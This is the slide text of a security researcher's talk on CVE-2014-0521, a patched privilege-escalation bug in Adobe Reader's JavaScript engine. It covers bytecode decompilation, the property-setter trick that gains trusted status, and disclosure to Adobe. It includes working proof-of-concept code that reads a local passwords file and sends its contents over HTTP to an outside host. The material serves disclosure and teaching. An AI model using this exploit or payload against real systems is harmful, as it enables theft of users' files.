The life of an Adobe Reader JavaScript bug

Gábor Molnár / @molnar_g

Me

-2013 work at various companies, mainly JavaScript

2013- work at Ukatemi (CrySyS spin-off), malware related stuff

CTF competitions with the !SpamAndHex team

Participating in bug bounty programs

This talk - CVE-2014-0521

Fixed in Adobe Reader version 11.0.07 on May 13, 2014

Adobe Security Bulletin APSB14-15

JS → Adobe Reader JS → discovery → exploit → reporting → fix

A related talk by me

Ethical Hacking Conference 2014 Hungary

Hungarian, JS bugs in general,

Firefox and Adobe Reader example, no code release

JavaScript basics - functions


function f1(a) {  // Function statement with name
    return a*2;
}

var f2 = function(a) {  // Function expression assigned to variable
    return a*100
};

var f3 = f1;  // Function references, first class functions

console.log(f1(1));  // 2
console.log(f2(2));  // 200
console.log(f3(3));  // 6
                    

JavaScript basics - objects, methods


var o = {
    a: 1,
    b: [1,2,3,4]
};

o.a = 42;

o.f = function(p) {
    console.log('"this.a" is: ' + this.a + ', parameter is:' + p);
};

o.f(1);  // "this.a" is 42, parameter is 1
                    
this is just a hidden parameter:

o.f.call({ a: 0 }, 2);  // "this.a" is 0, parameter is 2
                        

JavaScript basics - properties


var o = { a: 1 };
o.__defineGetter__('b', function() {       // Non-standard only API
    return this.a * 2;
});
o.__defineSetter__('b', function(value) {  // Non-standard only API
    this.a = value / 2;
});

console.log(o.a, o.b);  // 1, 2
o.a = 10;
console.log(o.a, o.b);  // 10, 20
o.b = 1000;
console.log(o.a, o.b);  // 500, 1000
                    

Adobe Reader = good PDF reader

Adobe Reader + JS = great PDF reader

Architecture

Privileged and Trusted

Utility scripts, JS API implementations, signed PDFs need:

File IO, HTTP (form submission), etc.

Privileged API: only Trusted functions can call it.

Gaining Trusted status, example

Init script:


app.apiFunction = app.trustedFunction(function(cb_object, cb_name, param) {
    app.beginPriv();
    // Do privileged stuff
    cb_object[cb_name](param);
    app.endPriv();
});
                    
Exploit PDF:

function f() {
    app.beginPriv();
    // Do privileged operations
    app.endPriv();
}

app.apiFunction(app, 'trustedFunction', f);
f();
                        

Let's review the init code!

Stored in a binary file: JSByteCodeWin.bin


$ file JSByteCodeWin.bin
JSByteCodeWin.bin: data
                    

$ od -t x1 JSByteCodeWin.bin | head -n 1
0000000    07  00  ad  de  ff  1f  00  00  57  00  00  00  b4  00  00  00
                    

$ od -t x4 JSByteCodeWin.bin | head -n 1
0000000    dead0007  00001fff  00000057  000000b4
                    

$ strings EScript.api | grep JavaScript # Adobe Reader Linux version 9.5.5
...
JavaScript-C 1.8.0 pre-release 1 2009-02-16
...
                    

SpiderMonkey 1.8 XDR bytecode format! (Firefox 3.0)

Decompiling the bytecode

Need to build SpiderMonkey 1.8 - painful!

I've published the tool (source and binary) on GitHub:

molnarg/dead0007

> 22000 lines of JavaScript (prettified)!

JS console

Save this in Reader 11.0/Reader/Javascripts as .js


app.addMenuItem({
    cName:"Console Window", cParent:"View", cExec:"console.show()"
});
                    

Hunting bugs!


DynamicAnnotStore = app.trustedFunction(function (doc, user, settings) {
    this.doc = doc;
    this.user = user;
    // ...
});
var store = new DynamicAnnotStore(doc, { name: 'MG', ... }, { ... });
                    

How to make this call a function for us?

Property trick


app.__defineSetter__('doc', app.beginPriv);
app.__defineSetter__('user', app.trustedFunction);

DynamicAnnotStore.call(/*this=*/app, /*doc=*/null, /*user=*/f);
                    

Original code, and what actually happens:


this.doc = doc   -> app.beginPriv(null)
this.user = user -> app.trustedFunction(f)
                        

Problem: cannot override property doc on the app object!

Property trick v2


var t = {};
t.__defineSetter__('doc', app.beginPriv);
t.__defineSetter__('user', app.trustedFunction);
t.__proto__ = app;
DynamicAnnotStore.call(/*this=*/t, /*doc=*/null, /*user=*/f);
                    

Original code, and what actually happens:


this.doc = doc   -> app.beginPriv.call(t, null)
this.user = user -> app.trustedFunction.call(t, f)
                        

Works!

Payload

Print file contents (cve-2014-0521-poc-1.pdf):


function f() {
    app.beginPriv();
    var file = '/c/notes/passwords.txt';
    var secret = util.stringFromStream(util.readFileIntoStream(file, false));
    app.alert(secret);
    app.endPriv();
}
                    

Send file contents over HTTP (cve-2014-0521-poc-2.pdf):


function f() {
    app.beginPriv();
    var file = '/c/notes/passwords.txt';
    var secret = util.stringFromStream(util.readFileIntoStream(file, true));
    var url = 'http://192.168.56.1:9999/' + Math.ceil(Math.random()*10000) + '__________' + secret;
    Collab.uriCreateFolder(url);
    app.endPriv();
}
                    

DEMO

Reporting the bug

We've reported the bug on March 10, 2014,

got almost immediate response. (Thanks @boldi!)

The fix

The fix was released on May 13, 2014.

Probably: forbid calling app.trustedFunction() from property getter/setter.

TODO: reverse engineer the patch.

Tips for JS hacking

Property accesses are function calls.

Lot of checks can be bypassed:


if (a == 'x' && a == 'y' && a == 'z') { // ...
                        

Time of check to time of use (TOCTTOU):


if (a.x === 'console.log("Hello World");') eval(a.x);
                        

Built-in objects, classes are modifiable:


Math.random = function() { return 1; };
RegExp.prototype.test = function() { return true; };
                        

JavaScript Proxies are very powerful (not usable in Reader).

Bonus tip

1. Find a JS privilege escalation bug like this one.

2. Find bugs in privileged functions by fuzzing.

Probably easier than finding bugs in unprivileged functions that have been fuzzed for a long time now.

THE END

Questions?